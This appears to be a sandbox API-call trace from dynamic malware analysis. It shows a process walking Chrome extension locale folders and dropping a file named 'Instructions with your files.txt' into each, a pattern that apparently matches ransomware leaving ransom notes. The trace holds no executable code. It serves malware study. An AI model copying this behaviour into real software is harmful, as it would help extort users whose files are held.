[0130.057] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.057] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 155
[0130.057] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.057] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.057] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\Instructions with your files.txt") returned 174
[0130.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.059] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.060] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.060] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.060] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.060] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.060] CloseHandle (hObject=0x134) returned 1
[0130.061] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.061] GetProcessHeap () returned 0x810000
[0130.061] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.061] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
[0130.061] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en") returned 141
[0130.061] GetProcessHeap () returned 0x810000
[0130.061] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.061] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*") returned 143
[0130.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.061] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\.") returned 143
[0130.061] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.061] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\..") returned 144
[0130.061] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.061] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 155
[0130.061] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.061] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.061] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\Instructions with your files.txt") returned 174
[0130.061] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.062] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.063] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.063] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.063] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.063] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.063] CloseHandle (hObject=0x134) returned 1
[0130.063] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.063] GetProcessHeap () returned 0x810000
[0130.063] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.063] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
[0130.063] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es") returned 141
[0130.063] GetProcessHeap () returned 0x810000
[0130.063] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.063] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*") returned 143
[0130.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.064] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\.") returned 143
[0130.064] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.064] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\..") returned 144
[0130.064] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.064] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 155
[0130.064] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.064] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.064] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\Instructions with your files.txt") returned 174
[0130.064] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.064] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.066] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.067] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.067] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.067] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.067] CloseHandle (hObject=0x134) returned 1
[0130.067] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.067] GetProcessHeap () returned 0x810000
[0130.067] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.067] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
[0130.067] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi") returned 141
[0130.067] GetProcessHeap () returned 0x810000
[0130.067] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.067] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*") returned 143
[0130.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.068] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\.") returned 143
[0130.068] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.068] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\..") returned 144
[0130.068] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.068] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 155
[0130.068] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.068] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.069] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\Instructions with your files.txt") returned 174
[0130.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.069] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.070] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.070] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.070] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.070] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.070] CloseHandle (hObject=0x134) returned 1
[0130.070] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.070] GetProcessHeap () returned 0x810000
[0130.070] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
